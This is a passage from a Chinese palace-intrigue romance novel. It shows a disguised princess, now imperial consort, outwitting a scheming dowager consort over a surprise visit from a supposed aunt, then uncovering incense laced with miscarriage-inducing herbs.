语罢,又有所怅然道,“我如今与小时候的模样差别很大吗?他竟然没有认出我?” 赵怀不由悄悄一顿,这话怎么有些失望的意味? 难不成,公主她对周帝动心了? 他试着道,“您从小就像画里的娃娃一样可人,越长大自然越好看,不过时间长了,小孩子的记忆有限,那位一时没能想起,也在情理之中。” “可我却将他记了好久。” 明熙不由噘嘴道,“回到建业后,我还时不时想起他,若非我受了伤,应是到现在还记着的。” 赵怀心道何止,从南阳回去后,公主就一直将那少年放在心上,否则又岂会跑到质子馆把人悄悄带到了身边? 不过由此可见,公主的记忆正在一点点找回,这是好事,这便说明,那御医的法子是有效的。 如此下去,有朝一日,公主一定会全都想起来的! 思及此,赵怀忙道,“趁这阵子无事,您先歇息一下,奴才去趟御膳房交代一下许家进京的事。” 明熙应了声好,又顺势吩咐道,“你叫其他人给我拿些纸笔来。今日在寿安宫应了玉容芳谱的事,这阵子正好写一写。” 赵怀应是。 …… 如此,待宫人将纸笔送来,明熙便写了起来,一直写到晚上掌灯时分。 想来应是白日里摘杏子耽误了些政事,萧元彻并未过来与她共用晚膳,一直到明熙写完了芳谱,连澡都洗过了,方听见“陛下驾到”的声音。 依照礼数,她起身来到殿门外相迎,又顺道感谢了一番给许家封县侯的事。 “今日在寿安宫听到了消息,陛下如此封赏臣妾父母,着实叫臣妾惶恐。” 萧元彻也依照礼法道,“不必客气,他们为朕养育了一位如此贤能聪慧的贵妃,封赏本也是理所应当。朕已经命工部在上京为他们建造宅院,以后你们也可时常见面,慰藉亲情。” 明熙又依照礼数向其谢了恩,说话间,二人已经进到了殿中。 身旁再无闲杂人等,萧元彻脱去外袍,又笑着问明熙道,“今天摘杏子开不开心?” ——咳,总之他是开心的,毕竟已经从赵怀那里听说了她想起幼时记忆的事。 并不知发生何事的明熙只点了点头道,“开心,杏子那么甜,还是陛下亲自摘的。” 萧元彻又问,“头可疼了?” 明熙摇头道,“上树的又不是臣妾,怎么会头疼?” 语罢顿了顿,又试着问他,“话说回来,看陛下今日爬树爬得那般娴熟,不知以前有没有也帮别人摘过东西?” ——她倒要看看,他究竟还记不记得南阳郡的事? 萧元彻岂会不知她心间所想,然而这个问题,着实不好回答。 倘若说他还记得当初那个脸蛋圆圆的小姑娘,不知如今的她是否又觉得自己是个处处留情的浪荡子。 但若说不记得,她大抵又要失望…… 这该如何回答是好? 想了想,他只能道,“朕小时候很喜欢上树,常常帮别人摘果子,摘风筝之类,只是后来有一回险些摔着,自此后母后便不许朕上树了。” 话音落下,却见那姑娘哦一声,目中果然有些失望,但幸好不是很多。 萧元彻赶忙环顾殿中,瞥见桌上一沓写好的纸张后,立时走了过去,岔开话题道,“这是什么?” 明熙便道,“是臣妾写的花谱,太后寿辰将至,玉容公主与温姑娘想做一本百花谱献给太后,今日公主在寿安宫询问臣妾关于花名之事,臣妾想着以前曾看过南诏国的花谱,就替她们写一下。” 说着,又试着问他道,“关于温姑娘,陛下是怎么想的?” 却见那人翻着纸张道,“什么怎么想的?” 明熙,“???” 真傻还是装傻? 她便又道,“太后娘娘很喜欢温姑娘,最近时常请温姑娘入宫与玉容公主画画。” 哪知那人又皱眉,“玉容什么时候又喜欢画画了?前阵子不是在弹月琴吗?” 明熙挑眉,“陛下是在跟臣妾绕弯子吗?” 话音落下,却见那人终于放下纸张来看她,却忽然一笑道,“阿真,你吃醋了?” 明熙一愣,“臣妾哪有吃醋?” “真的吗?” 那人似乎笑得有些得意。 明熙不由睁圆了杏眼,道,“当然是真的。臣妾是觉得,温姑娘的确很是端庄大气,深有国母之风范,就算陛下……” 哪知话未说完,却见那人忽然打断道,“朕的心里,只装得下一个人。” 明熙一顿,还想问那人是谁,却见萧元彻又向门口的宫人问道,“可备水了?朕要沐浴。” 正在殿门口值守的赵怀立时道,“启禀陛下,已经备好。” 就见萧元彻嗯了一声,抬步去了浴房,高寿几个则立时跟上服侍。 明熙心有不甘,忙将赵怀叫进来问道,“我方才的语气,难道听起来很像吃醋吗?” 却见赵怀道,“……奴才要是说实话,您可不许生气。” 明熙瞪眼,“……这是什么意思?难道真的像吗?” 只见赵怀赶紧摇头,“好吧,一点都不像。” 明熙,“???不像就不像,什么‘好吧’?” 却见赵怀又咳了咳道,“床榻已经铺好,奴才先告退了。” 语罢便又退去了门外。 明熙咬唇,“……” 你到底是谁的人?!! 一直到萧元彻洗好出来,却见那姑娘依然咬着嘴唇,一副气嘟嘟的模样。 闲杂人等已经褪去了门外,殿中仅有他与她二人。 他几步来到她面前,又故意逗她道,“再咬下去,那么好看的唇可要咬坏了。” “陛下!” 明熙气得伸手锤他,然而粉拳落在他结实的胸膛上,不曾叫他晃上一晃,却反而叫他抓住她的手,一下拉进了怀中。 “时候不早,先歇息吧。” 他贴着她的耳朵轻语。 明熙还想与他理论一番,哪知却被他抱起,径直去了榻上。 …… 又 是一夜疾风骤雨,第二日醒来,明熙如若雨后海棠,人比花娇。 萧元彻依旧早早去上朝,留下她懒洋洋的起床沐浴梳妆。 当然,她也没忘记昨日胡尚宫的提醒,待用罢早膳,便带上昨日写好的花谱,去了寿安宫给太后请安。 说来,从前毕竟曾在寿安宫待了些日子,这个时辰,太后应是才用罢早膳,她也是掐了时间去的。 哪知等到时才发现,那淑太妃又已经在殿中同太后说话了。 见此情景,明熙忽然觉得有些不对。 ——想她从前在寿安宫时,这淑太妃虽说也常来,却不至于每日一次。 可眼下这长舌妇昨儿下午才来告了她摘杏子的状,今早就又来了? ……该不会又安了什么不好的心思吧。 明熙一边暗自思忖,一边先给二人行礼。 太后允她平身,又说了几句无关紧要的话。 没过一阵,却见有宫人禀报道,“启禀太后娘娘,宫门外有个自称是贵妃姑姑的妇人,要求见贵妃。” 第36章 家丑不可外扬 什么,她的姑母在宫门外求见? 明熙立时一顿。 她如今乃是洛州来的许念贞,她的姑母,便是洛州许家的姑母。 要知道,那许家的姑母这些年一直在定州谋生,好好的怎么忽然来了上京?还来宫门口找她? 她悄悄将目光投向一旁的淑太妃,终于有些明白,对方今日为何来的这么早。 这个姑母怕不正是对方安排的。 而此时,随着宫女话音落下,就见那长舌妇立时做出一脸惊讶的样子道,“贵妃的姑母不是该在洛吗?怎么会到宫门外来?” 明熙心间冷笑,面上也只得做出惊讶的样子道,“太妃有所不知,我姑母多年前便离开家乡在定州谋生,我也不知她怎么会到上京来?且容我遣人去问问,以免有什么误会。” “这还能有什么误会?” 那淑太妃却立时又道,“昨儿贵妃才册封,眼下怕是还未传遍上京,若非贵妃家人,怎么会找到宫中来?就怕是有什么急事要找贵妃,不如赶紧请进来,当面问问?” 什么,请到这寿安宫里来? 明熙不是不知道这长舌妇打得什么主意,立时推拒道,“后宫禁地,又是太后娘娘的寝宫,岂是寻常人能踏足之处?还是先容我去问问吧。” 说着便要起身告退。 哪晓得那淑太妃又道,“既是自己的亲姑母,太后娘娘还没说什么,贵妃怎的如此害怕见面?莫非有什么隐情不成?” 这话一出,却见太后也皱起眉来,想了想,对身旁的碧书道,“叫人先去问问讯息,看能否对上?别是真有什么急事才好。” 碧书应是,便立时前去。 不多时,又返回对众人道,“那妇人报了贵妃娘娘的籍贯小字族中亲眷等讯息,都对上了。” 闻言,那淑太妃立时又道,“看来还真是贵妃的亲人,既如此,还不快快领进来相见?可别耽误要事的好。” 而听她这样说,太后也颔首道,“先领进来吧。” 语罢又瞧了明熙一眼,目中也不乏犹疑。 眼见碧书应是,又出去领人,明熙知道躲不过去,立时在心间快速思索对策—— 如她方才所言,那许家的姑姑多年来一直在定州谋生,想当初她借用这假身份进宫之前,只与许家父母见过面,根本不知那许家姑母长什么模样。 而借用身份的事,那许家姑姑也根本不知情,等会一旦见面说漏嘴,后果必是不堪设想。 最要紧的是,关于许念贞这个身份的讯息,早已录在宗正的后妃文牒上,有心之人若想获取,并不算难。所以等会儿来的究竟是不是真的许家姑母,都不一定。 淑太妃使出今日这一出,既然有心害她,等会必定不会放过任一个质疑她身份的机会…… 既如此,她只得赌一把了。 如此想好,她先向太后谢恩道,“太后关怀臣妾娘家亲人,令臣妾感激不尽,只是臣妾姑母乃平民百姓,又久居乡间,等会儿只怕有失礼之处,还请太后娘娘多多包含。” 太后颔了颔首。 却见淑太妃又忙道,“贵妃太小心了,既然已经入了后宫,娘家又封了县侯,往后少不得要走动见面,太后娘娘一向宽厚慈悲,岂会轻易怪罪?礼数之类的,往后一家人住在上京,自然就会好的。” 话音落下,明熙假意点头向其道谢,又在心间思量。 ——这母子俩倘若已经查实她的身份,手握牢固证据,定然会用更加直接的法子来揭发她。 所以,今日大抵还是在试探。 既然是试探,想必对方不敢请假的人来冒充,所以等会儿来的,想必就是真的许家姑母。 如果是真的,就好办了。 没费多少功夫,就见碧书将一个中年妇人领进了殿中,约莫四五十岁的年纪,一身青灰色布衣,眉眼间倒的确与许家父亲有些相像。 只是浑身上下皆是一股市侩气,进到殿中,看似老实,一双眼睛却在悄悄四处乱瞟,也不知行礼。 还是碧书提醒其道,“太后,太妃及贵妃皆在此,还不快快行礼。” 那妇人才跪下磕了头,道,“民妇许氏参见太后娘娘,太妃娘娘,贵妃娘娘。” 太后开口道,“平身吧。听说你到宫门外急着找贵妃,不知所为何事?” 却见那妇人道,“民妇听说侄女当了贵妃,心间甚是高兴,又甚是思念,自贵妃进宫以来,民妇一直挂念贵妃,特意来看看贵妃如何。” 什么? 竟然只是思念侄女,便跑到宫门外要来求见? 这许家竟然如此没有规矩。 太后目中立时流出些许嫌恶之意,淑太妃却忙道,“真是难为这当姑母的,一直挂念贵妃,现如今贵妃就在殿中,还不快看看她好不好?” 话音落下,那妇人便将头抬了起来。 然而环顾殿中后,却露出一脸茫然,似乎根本没看见自己的侄女。 见此情景,那淑太妃立时又道,“怎么,可是贵妃的样貌变化太大,叫你这个当姑母的都认不出了?” 这话一出,殿中众人不免又狐疑起来。 然未等那妇人说话,却见明熙开口道,“姑母已经有七八年没有回过洛州了,当初你走的时候,我才十一二岁,且还生着病,瘦弱的不成人形,你如今不认识我,也是难免。” 就见众人皆是一脸意外,那妇人却嗫喏起来,“这……贵妃说的不差,可民妇……也有难处……” 哪知话未说完,却见明熙又道,“我当然知道姑姑有难处,自打当初我爹娘成亲,您因为厌弃我娘的身世,早就发了狠话与我们断绝了来往,这些年来,我爹娘原本也未曾去叨扰过您,只是那年我大病一场,家里面穷的实在买不起药,我爹才求到您门下,结果您都不给我爹开门。” “还说什么,‘如我这般贱人生的赔钱货,不如趁早死了,好还你们许家清白……’” 明熙冷笑着看着对方,道,“现如今,我也不知您从何处听说了我的消息,怎么忽然就想起了还有我这个侄女,还从定州连夜赶来急着要见我?” 话音落下,那妇人已是面色灰败,结结巴巴说不出话来,只道,“这,这……当年之事是有误会……那些话,不过一时气话罢了……” 明熙却并不理会,只是向太后垂首行礼,道,“请太后恕臣妾失态,臣妾方才不愿叫姑母来此,并非有什么见不得人之事,而是家丑不愿外扬罢了。” “您大抵也已知晓,臣妾的母亲乃是二嫁之身,当年初嫁后才生下臣妾的哥哥不过半年,夫君便不幸染病身亡,我爹见她一人带着幼子十分艰难,心声怜悯,便与其结为连理。哪晓得我这位姑姑却以我娘克夫为由,断绝了与我爹姐弟之间的联系。” “后来的十余年间,尽管家乡遭遇水灾旱灾,以致家境艰难,我爹也从未前去打扰,只是有一年臣妾不幸染病,眼看就要买不起药,我爹万般无奈,去敲了这位姑母的家门,只希望念 在姐弟血脉亲情,姑母能够救我一命,哪晓得对方根本不见,且后来又举家搬到了定州,这些年间我们根本没有任何联系,所以方才听说她前来找我,我自是十分诧异。” 这话一出,一个嫌贫爱富不念亲情又趋炎附势的故事已经十分鲜明的呈现在众人面前。 太后一脸恍然的颔了颔首,道,“家家有本难念的经,既然彼此已经见过,也就不必再挂念了。” 说着,本想叫人将这妇人带出去,哪晓得那妇人却又急着道,“当年民妇也有难处,并非民妇不想与贵妃一家联系,实在是家中婆母与男人都不许,民妇不过一个妇道人家,哪有做主的本事……眼看过去这么多年了,就请贵妃念在祖父祖母的面子上,宽恕了民妇吧。” 这话一出,明熙又皱起眉道,“你不提祖父祖母也罢,既然提了,我也不怕再将家丑外扬。祖父母当年走时,也曾给我爹留下过五间租屋,几亩薄田,但你却趁我爹在南诏国学艺之际,偷偷将田产全都变卖,以至于我爹回乡之后竟只能露宿街头。那变卖田产的银钱,你可是一分都没给我爹,全都拿去给你的婆家盖了新房。” “我乃晚辈,你是长辈,我们之间并无恩怨可谈,可从前的事过不过得去,并非不是我说了算,还是等我爹娘来上京后,问问他们的意思吧。” 说着又道,“有劳你挂念了,如今我们也已见过面,若无要事,还请回吧,这皇家禁地,并非谁想来就能来的。” 大抵是眼见计谋未成,反而全叫她占了上风,那淑太妃心有不甘,又要开口道,“毕竟是亲眷……” “未经他人苦,莫劝他人善。” 明熙一口打断道,“我方才也说了,此事过不过得去,并非由我一个晚辈说了算。当年我父亲流落街头无处可依,亲生骨肉病重,却无人能求之时,却不知有无人劝她,‘毕竟是亲眷’。” 就见那长舌妇一噎,一时再说不出什么来。 太后则道,“这本也是许家自己的事,还是叫他们自己决定吧。” 语罢便朝碧书示意,碧书便上前,又将那妇人带出了殿外。 殿中安静下来,那淑太妃顿了顿,又想说什么,明熙却向太后道,“今日因自家之事扰了太后清净,实在罪过,只是臣妾总觉得有些不对。说来,从上京到定州少说也要一日的路程,臣妾的爹娘眼下大抵都还未收到消息,也不知臣妾的姑母是如何这么快就到了上京,还能找到宫门外……只怕是有人故意安排,可就不好了。” 这话一出,就见淑太妃顿了顿,太后则颔首道,“说得有理,得叫人去查查,那妇人是怎么找到宫里来的?” 一旁的琴韵应是,也出去安排。 见此情景,淑太妃忙道,“时候不早,太后也该礼佛了,我就不叨扰了。” 说着便告辞出了殿中。 明熙也正欲告退,却见太后道,“今日之事,你做得不错,即在高位,理应明辨是非,不轻易被世俗捆绑。” 这倒叫明熙有些意外,说来,她认识太后也有些日子了,这还是头一回被当面夸呢。 她忙垂首道谢,只听太后又道,“说起来,今日玉容也没到哀家跟前来,不知是不是静太妃的病情又重了?你若是无事,就替哀家过去瞧瞧,看看张太医可去过了。” 明熙应是,便起身告退。 待出了寿安宫,一直在外等候他的赵怀立时迎了上来,悄悄关问道,“娘娘方才没事吧?” ——他毕竟是宦官,如今虽则能伴明熙左右,却进不了太后的殿中,所以方才眼见那妇人被人领进正殿,虽是心间觉得不对,却也只能在殿外等着。 却见明熙也低声道,“没事。还好当初入宫前在许家住了一段时日,还算了解他们的家事。” ——若非今日她先声夺人,不知要被那淑太妃搅成什么样子。 不过经今日这么一回,那长舌妇没挑出疑点,倒是叫她许念贞的身份坐实了。 方才她诉说许家往事时,众人明眼可见皆是义愤填膺的模样,倒无人再疑心那妇人没将她认出来的事。 但话说回来,总被那长舌妇母子下如此黑手也不是办法,她也得主动出击才是。 思及此,她便对赵怀低声叮嘱了几句。 赵怀听后立时应是,与她告别,去了乾明宫。 明熙则继续去往静太妃的福宁宫。 现如今几位太妃的处所与太后的寿安宫皆都相隔不远,很快便到了地方。 明熙迈进福宁宫的院门,只见院中很是清幽,除过几棵高大的榆树,四下皆种满了各种花,且都还养的不错。 想来静太妃也是爱花之人,只是此时这院中未见花香,却满是汤药的苦味。 眼见她来,宫人们便要行礼,她却怕扰到静太妃,便抬手止住了,只叫人领着,先进了正殿。 此时静太妃正在窗下的暖榻上半躺着,脸色看起来依然有些虚弱,玉容则在一旁皱着眉,听见动静后抬眼看见她,忙起身道,“贵妃怎么来了?” 明熙忙道,“太后娘娘担心太妃的身体,特遣我来探望,不知可叫张太医来过了?” 榻上的静太妃忙道,“有劳太后娘娘挂念,张太医今早就来过了,只是我前两日不小心染了风寒,未好,又碰上了月事,也是早年间小产遗落的毛病,月事要一连好几日,两样麻烦碰到了一处,竟然吃药也不见好,这身子倒是大不如前了。” 明熙这才知道,原来静太妃以前也曾小产过。 “玉容,还不快请贵妃坐下。” 静太妃说完又吩咐女儿。 小姑娘便应是,拉着明熙在软榻旁的椅子上坐了下来。 明熙的鼻尖立时传来一缕香味。 转头看去,却见墙角的香炉里正燃着香,她便问道,“不知这是什么香,从前倒没闻过。” 就见一旁的宫女忙道,“启禀贵妃,这是从内务府拿的香,说是叫幽兰香。” 又听静太妃与她解释道,“我原也不喜用什么香的,只是来月事时才点上几根,去去血腥气,加上这几日喝药,更不喜药味,所以这一连几日都熏着香。” “原来如此。” 明熙颔了颔首,又道,“我闻着这香味挺舒服,不知太妃这里可还有多的?” “怎么没有?” 静太妃道,“我这里存了好些。” 说着便立时叫宫人给她拿了些。 明熙叫随身的宫女青竹将那幽兰香接下,顺道又将昨夜写好的花谱交给了玉容。 等又说了一阵话后,便向那母女二人作别,出了福宁宫。 此地不可久留。 若她没有猜错,那幽兰香里,怕是加了不该加的东西。 第37章 妖妃上线 待赵怀办完事,再回到延福宫的时候,却见明熙正在正殿中,对着两只盘香凝眉。 这模样,明显是在思索什么要紧的事情,赵怀忙道,“娘娘在想什么呢?莫非这香有什么不妥?” 明熙道,“你可还记得,我小时候去荆州叔王府中做客,帮他们断了件案子的事吗?” 赵怀想了想,道,“您是说,荆王府两位侧妃争宠,将毒物藏在香中的事?” 明熙点头道,“就是那件。当时我一进到荆王府就一直打喷嚏,你们都以为我染了风寒,还一个劲叫我吃药,是我坚持说府里的味道不对,逼得叔王彻查,这才发现,是有人在府中熏香里添了一种有活血作用的香料,叫……降香。” 赵怀忙也点头,“对,是叫降香。奴才记得此物可致孕妇滑胎,而当时王府中正好有位侧妃才怀了身孕。” “不错。” 明熙点头道,“所幸发现及时,叫那位侧妃保住了孩子,叔王为此还特意送了许 多珍宝谢我。说来此事也已经过去好多年了,可是方才我在静太妃宫里,又闻到了那个味道。” 她指着两只盘香中的一只道,“这是我方才问静太妃要的香,另一只是我回来后又叫青竹去内府局拿的,虽说名字都叫幽兰香,但我已经试过,只有静太妃宫里的才加了降香。” 这话一出,赵怀立时皱眉道,“您的意思,是有人要害静太妃?” “很明显,” 明熙道,“这几日静太妃一直病着,说是怎么吃药也不见好,且我方才还听她提过说从前曾小产过……只怕她遭这毒手已经不是一天两天了。” 赵怀嘶了一声,也不由琢磨起来,“那会是谁要害她?” 明熙也正在思考这个问题。 她道,“静太妃娘家门第并不高,但因性格柔顺,长相又好,又是先帝最年轻的妃子,当初也很得先帝喜欢,不然不会只生了个公主,就能被封上妃位。” “照理来说,如今后宫都在太后掌控之中,最直接的嫌疑人,似乎该是太后。但太后跟先帝感情并不好,静太妃又无甚势力,膝下连个皇子都没有,太后应不至于用这种法子来日复一日的害她吧。” 赵怀却道,“可您方才说,静太妃曾流产过,太后会不会是怕她当初生下皇子,会威胁到陛下的位子?” “几乎没有可能,” 明熙道,“萧元彻可是嫡子,从前也只有那个容妃生的大皇子对他才有威胁,其他的本就是庶出,生母在先帝心中的分量又比不过那容妃,如何能构成威胁?当时太后应满脑子都是如何干掉那个容妃跟大皇子,不屑于其他妃嫔的皇子。不然,那惠王又岂会好好的活到现在?” 有道理。 赵怀点了点头,又道,“既然不是太后,那就是别人,而且,还得是有皇子的那几位。” 明熙冷笑一声,道,“那时宫里一共三个皇子,容妃死的早,太后又无嫌疑,那剩下的还有谁?” 赵怀道,“您是说,是淑太妃?” 明熙点了点头,“萧元任可是这三位皇子中年级最小的,且打他以后,宫里就没有皇子出生过……” 赵怀依然有些不解道,“可淑太妃如此做的目的是什么?就算杀了别的皇子,那惠王前头还有两位,一个是最受宠的,一个还是嫡子,这皇位也根本落不到他头上啊。” “坐山观虎斗。” 明熙道,“未准他就能渔翁得利呢?尤其萧元彻还曾在建业做过质子,很有可能会回不来。” “的确。” 赵怀点了点头道,“看那娘俩到如今也不老实,还真有可能做出此事。只是眼下要如何处置?您可要去向太后检举此事?” 明熙却挑眉道,“这本是他们宫里的闲事,本公主并非一定要管。再说,那时候没有皇子出生,有孕的宫妃接连小产,难道太后就没有想过不对?想必太后也是坐山观虎斗。 “可如今不一样了,太后已经胜出,若能帮她除去那个不老实的对头,她想必也乐见其成。” 赵怀立时又道,“尤其那淑太妃这两日几次对您下黑手,太后明知却无甚表示,想必对您始终隔着一层,如今您要是能帮她铲除淑太妃这个碍眼的,她大抵就会对您刮目相看了。” 明熙却依然挑眉,“这话说得容易,可我如今只是顶了个贵妃得空名头,手里根本没有什么实权,便是想查,他们听我的吗?” 赵怀却一笑道,“这还不容易吗?现如今您掉根头发丝儿都有人心疼的要去杀人,您想要实权,此时正是最佳时机。” 语罢便在她耳边低声说了一通。 …… 一阵过后,等萧元彻收到消息,着急赶回延福宫时,只见明熙缩在床上,正满脸苍白,一头冷汗。 这般情景,早已叫他的理智飞到了天外,立时将人抱到怀中道,“可是头又疼了?方才可是摔到了?” 却见怀中人儿一脸虚弱的摇头,“并非头疼,是肚,肚子疼。” “肚子疼?” 萧元彻自是意外,忙问殿中人道,“可传太医了?快去叫荀清来!” 然话音落下,却见早已来到殿中的荀清急忙来到他面前禀报道,“微臣在,请陛下稍安,微臣方才已经”为贵妃娘娘诊过脉,暂时并未发现异常。” “并未发现异常?” 萧元彻一脸不解道,“那贵妃如何会如此?” 哪知话音才落,却见怀中的明熙又缩了起来,皱着一双秀眉呻,吟,“肚子,肚子好疼……” 这模样,直把君王正要回归的理智再度赶到九天之外,萧元彻立时又对荀清道,“没发现异常,贵妃怎么会如此难受?再好好给贵妃看一看,倘若不行就换人!” 甚少见君王发如此大火,话音落下,殿中立时跪成一片,荀清则赶紧应是,重又上前给明熙诊脉,又询问道,“不知娘娘今日都用过什么膳食?可是吃的不合适?” 一旁的赵怀忙答道,“贵妃今日只用过早膳,也都是平素吃的那些,有三鲜蒸饺,金瓜小米粥,还有几块蒸鱼,一点油焖茭白等,贵妃用过后,又把剩下的都赏了院子里的宫人,其余人也并未见不适。” 看来不是膳食的问题? 荀清只好又问,“那不知贵妃可曾喝过什么茶水?” 赵怀又道,“娘娘只在早膳后用了半盏碧螺春,而后便去给太后娘娘请安了,在寿安宫并未饮茶,其后又奉太后娘娘之命去福宁宫探望了静太妃,在福宁宫也并未饮茶,这不回到延福宫没多会儿,就不适了。” 这叫荀御医又不由皱起眉来,看来也并非饮水的问题? 正一筹莫展之际,却见一旁的宫女青竹又道,“娘娘在福宁宫时闻见静太妃用的熏香很是好闻,便要了一些回来,方才才点上没过多久就不舒服了。” 熏香? 这叫萧元彻一顿,据他所知,她不是从来不用熏香的么…… 却见荀清忙问青竹道,“可否叫我看看熏香?” 青竹应好,便去香炉中将未燃尽的盘香拿了出来。 只见荀清将那盘香接到手中,查看一番后,道,“这香乍看之下,似乎没什么不同。且容臣带回太医院查验一下。” 萧元彻颔了颔首,却见原本正皱眉呻吟的明熙也立时吩咐赵怀,“你随荀大夫走一趟。” 赵怀应是,便随荀清出了殿中,一并去了太医院。 萧元彻又瞅了瞅床上的明熙,理智忽然回归了些。 再仔细瞧瞧,只见那姑娘出了一阵汗后的脸蛋已然泛起了粉色,倒是从腮边落下的汗珠却搀着白色…… “……” 怕不是脸上擦得脂粉? 萧元彻无奈又好笑,只先挥退殿中的闲杂人等,又问那姑娘道,“还疼吗?” 这叫原本正要放松的明熙立时再度皱起眉头,道,“疼……” 萧元彻忍笑,将手掌覆在她的小腹,道,“朕给你揉揉。” 那姑娘却皱眉道,“揉揉会管用吗?” 萧元彻道,“朕的掌心热,给你暖一暖也是好的。” 说着给她轻轻揉了起来。 别说,他的手法倒甚是舒服,明熙渐渐放松下来。 萧元彻道,“今日你姑母之事,是朕没能提前预料道,朕要跟你说声抱歉,朕已经叫人去查了,一旦发现是何人安排,一定不会轻饶。不过,下回再有这样的事,还是叫人立时来通知朕好。” 明熙却道,“陛下何须为此事向臣妾道歉?毕竟臣妾那个姑姑原本在定州,就连臣妾也没料到她会来宫中,臣妾只是担心她被有心之人利用,做出有辱皇家之事就不太好了。再者,太后的性情您也知道,如果事事去找陛下,只怕会适得其反。” 这说得倒也对,他岂会不知母后的性子? 萧元彻只好道,“朕已经向 各处下令,往后关于你的事,都先禀报过你自己再说,绝不会再如今日一般,直接将消息送去寿安宫。” 这就对了。 明熙便笑了笑道,“谢陛下。” 却见那人又道,“往后有什么事,直接同朕说就好,无需担心什么。” 嗯? 明熙不由一愣,这话是什么意思? 难道是在怀疑她肚子疼是装的? 不成,大计未成,她可千万不得功亏一篑。 她立时道,“臣妾也从来没有隐瞒陛下,” 说着又皱起眉诶呦一声,“肚子又不舒服了……” 却见那人挑眉,“看来是朕揉的不够?那便再好好给爱妃揉揉。” 说着手上的动作继续。 然而渐渐的,却开始转换地盘。 要知道,再往上,正是他最爱的温柔乡。 察觉到他的意图后,明熙不由一愣,立时摁住他的手,道,“陛下,臣妾正不舒服……” 哪晓得那人道,“或许出出汗就好了。” 什么?出汗? 明熙立时又道,“这可是大白天的,很快就要用午膳了!” 哪晓得那人双眸幽暗道,“不错,吃过午膳,正好歇个晌。” 明熙简直无语,却还得继续装病,只能恼道,“陛下……” 然而话未说完,他已经俯身下去。 明熙立时说不出话来…… 一番痴缠,直叫她险些忘了自己要做什么。 所幸正在此时,门外忽然传来荀御医满怀激动的声音,“陛下,娘娘,微臣查到了……” 这叫房中二人立时清醒。 明熙一把将萧元彻推开,快速理好凌乱的衣襟,而后忙向门外道,“进。” 就见殿门被推开,荀御医与赵怀一同进了来。 所幸此时二人皆都低着头,并未看见她脸上的绯红。 只听荀清道,“启禀陛下,启禀娘娘,微臣方才在太医院将这幽兰香分离后,已经提取出其中主要成分,除过必要的香料,其中还有降香,红花等活血之物。贵妃娘娘的腹痛,应是来源于此。” 这叫明熙心间一定,果然是降香,她的鼻子依然那么灵。 那么接下来就要看她的了。 她立时哦了一声,道,“怪道今天在福宁宫时听静太妃说,她每每来月事,总是淋漓不尽以致身体虚弱,莫非也与此香有关?” 就见荀清点头道,“应该是的,须知这两种药物,可使妇人经量增多,经期延长,本不可在经期时用,另外,孕妇也是禁用的,因这两味药物极有可能会导致滑胎。” 滑胎? 这叫萧元彻不由凝眉,他记得当初先帝在时,宫中便时常有嫔妃滑胎之事。 却见荀清又道,“其实早在多年前,太医院便已经有令,要严格禁用此等易导致滑胎之药物,照理来说,此二味药本也不可出现在这熏香中。” 很好。 明熙忙又作惊讶道,“既然如此,那这幽兰香又是怎么回事?难道静太妃缠绵病榻多日,也是与此有关?却不知是谁暗中下此毒手?” 话音落下,赵怀也立时跟上道,“奴才斗胆,此时非同一般,倘若娘娘日后有了龙嗣,也用了这熏香,岂不是……” 其实不必如此提醒,萧元彻也已经意识到此事的严重性。只是难为他的姑娘今日特意如此安排一场叫他知道。 当然,她的性格他还是了解的,若非有所求,她必定也不会如此劳神费力。 他于是颔首道,“说的不错,传朕旨意,命内廷监全力辅佐贵妃查探此事,宫中各部,都不得有违贵妃旨意。” 嘿,成了。 明熙赶紧道,“谢陛下隆恩。” 一旁的赵怀看在眼中,不由默默在心间叹气—— 倘若公主恢复了记忆,何须如此大费周章? 第38章 贵妃是奸细! 既然要查,就一定要快。 且还要悄无声息,否则一旦惊动凶手,事情就不会那么顺利了。 是以当日午后,明熙便遣了内廷监的人手进入内府局。 而内廷监也果真办事麻利,不过三日,便将她想要的东西都找齐了。 翌日一早,太后才用罢早膳,便见明熙与静太妃一同来到了寿安宫中。 已是好几日未见静太妃,太后自是问道,“如今可是身子无虞了?这几日倒叫哀家好不担心。” 哪知静太妃却立时红了眼眶,道,“还请太后为臣妾做主啊!” 眼见太后一脸错愕,明熙忙从旁解释道,“前几日臣妾奉太后之命前去探望静太妃,觉得福宁宫里用的幽兰香不错,便问静太妃要了些,哪知回去不过半日,臣妾也开始不舒服起来,请御医前去一查,竟发现是那幽兰香中添了宫中的禁物,而静太妃的病也与此香有关。” 禁物? 太后一顿,却见静太妃又哭道,“幸亏太后遣贵妃前去看臣妾,否则臣妾竟不知,已经被那毒物侵害多年,就连臣妾当年的小产,也与那毒物有关,还请太后为臣妾及那个未出世的孩子做主啊……” “什么?竟然还有当年小产之事?” 太后立时看向明熙道,“可已查到是何人做出此等恶毒之事?” 明熙道,“前几日发现此事后,陛下便命臣妾调查,连日来也有了一些线索,原来那毒物在宫中存在已久,且恐怕不只对静太妃用过,只是幕后之人身份尊贵,还要请太后娘娘做主。” …… 少倾,另三位太妃也来到寿安宫中。 淑太妃是最后到的。 此时,眼见殿中众人齐聚,尤其连平素不爱露脸的端太妃与安太妃也在,淑太妃心间已经察觉不对。 熟料紧接着,却听外头又传来“陛下驾到”的声音,一身龙袍的萧元彻也进了殿中,只叫她愈发狐疑起来。 面上却还装作无事人一般问道,“今日人来得这样齐,莫不是有什么大事?” 只见太后神色严肃道,“的确有件大事。” 说着又看向一旁的明熙,道,“你来说吧。” 明熙应是,便道,“今日劳动各位前来,乃是有一桩大事要处理,前些天静太妃身体不适,连用多日药物竟不见好转,根源竟是有人在福宁宫的香中添加了宫中禁物,暗害静太妃多年,甚至太妃当年的小产也与此有关。” 这话一出,就见众人皆都面露惊讶。 端太妃忙问道,“可查出了凶手?” 明熙道,“太妃放心,自打发现不对之后,陛下立时命我查办此时,已经找到在香上动手脚的,乃是内府局一个叫陈长福的宫人,但据其交代,背后乃有人指使。” 闻言安太妃也忙道,“不是又是谁指使?” 明熙正要回答,哪知红着一双眼的静太妃已经忍不住先看向近前的淑太妃道,“我与你素来无冤无仇,却不知你为何要这样害我?” 什么? 这话一出,众人立时都看向淑太妃,就见其立时皱眉道,“静太妃是疯了不成?为何如此血口喷人?我什么时候害过你?” “那宫人交代,事情就是你做的!” 静太妃哭道,“你要了我腹中孩子的命还不够,直到今日还在如此害我!我的玉容还未出嫁,你就恨不得叫她变成孤女,你好狠的心!” “这分明是冤枉!” 淑太妃立时反驳道,“我连那宫人是谁都不知,更不知其在香里放的是什么,又如何害你?” 说着又看向太后与萧元彻道,“今日陛下太后都在,又岂能容她如此污蔑与我?” 